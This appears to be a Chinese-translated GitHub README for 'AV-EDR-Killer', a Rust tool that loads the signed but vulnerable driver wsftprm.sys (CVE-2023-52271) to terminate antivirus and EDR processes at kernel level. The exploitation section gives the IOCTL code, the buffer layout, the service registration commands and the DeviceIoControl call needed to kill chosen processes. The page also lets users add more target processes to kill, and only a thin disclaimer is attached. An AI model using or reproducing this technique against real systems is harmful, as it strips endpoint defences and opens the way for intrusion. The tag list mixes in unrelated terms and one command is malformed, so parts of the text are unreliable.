xM0kht4r/AV-EDR-Killer
GitHub: xM0kht4r/AV-EDR-Killer
这是一个通过利用存在漏洞的合法驱动程序(BYOVD)在内核级别强制终止 AV/EDR 安全进程的开源演示工具。
Stars: 269 | Forks: 45
# AV/EDR Killer
https://github.com/user-attachments/assets/1eda3340-2af2-4136-b74e-be7a3f4b3924
本项目演示了一个合法且已签名的驱动程序如何被武器化以获取内核级访问权限。
## 🚨 漏洞驱动程序:
`wsftprm.sys`,由 TPZ SOLUCOES DIGITAIS LTDA 签名,此前曾暴露于一个本地提权漏洞,公开披露为 `CVE-2023-52271`,但不知何故仍然不在 Microsoft 的驱动程序阻止列表上!!🤫🤫
该漏洞是通过 IOCTL 代码 0x22201C 触发的,使用一个 1036 字节的缓冲区,其中前 4 个字节包含作为 DWORD 的目标进程 ID。当通过 DeviceIoControl 接收到此恶意 IOCTL 时,该易受攻击的驱动程序会调用导入的 ZwTerminateProcess 函数,从而授予任何用户模式应用程序内核级进程终止能力。
任何理智的威胁行为者自然会将此能力列为优先事项,用于终止关键的反病毒 (AV) 和端点检测与响应 (EDR) 进程。
## ⚡ 利用:
### 1. 注册服务:
以管理员权限启动 cmd.exe,并注册一个内核驱动服务,类型为 "kernel",binPath 指向易受攻击驱动程序的位置。
```
> sc create MalDriver binPath= type= Kernel`
> sc start MalDriver
```
加载后,驱动程序会为用户模式访问创建一个符号链接 \\.\Warsaw_PM。我们可以使用 CreateFileW API 调用通过它获取驱动程序设备的句柄。
```
> CreateFileW(device_name.as_ptr(), GENERIC_READ | GENERIC_WRITE, 0, ptr::null_mut(), OPEN_EXISTING, 0, ptr::null_mut())
```
为了发送恶意 IOCTL,我们将使用代码为 0x22201C 的 DeviceIoControl,以及在其前 4 个字节中包含 PID 的缓冲区。
```
> DeviceIoControl(self.hDriver, 0x22201C, buffer.as_mut_ptr() as LPVOID, buffer.len() as u32, ptr::null_mut(), 0, &mut bytes_returned, ptr::null_mut())
```
### 2. 收获
`Cargo build --release` 以生成二进制文件。
## 🛠️ 自定义:
您可以向目标列表中添加额外的进程以进行终止。
## 🔒 免责声明
您有责任确保在使用此工具之前已获得适当的授权。作者不对误用承担任何责任。
## 🤝 合作
欢迎贡献和建议!如果您有想法、改进或希望合作,请随时通过以下方式联系:
M0kht4rHacks@protonmail.com
标签:AV/EDR 绕过, Bro, BYOVD, CSV导出, CVE-2023-52271, DeviceIoControl, IOCTL, Rust, Web报告查看器, Windows驱动, wsftprm.sys, ZwTerminateProcess, 内核模式, 内核漏洞利用, 可视化界面, 子域名枚举, 提权, 本地提权, 端点可见性, 端点检测与响应, 符号链接, 签名驱动滥用, 系统安全, 网络流量审计, 脱壳工具, 进程终止, 通知系统, 驱动程序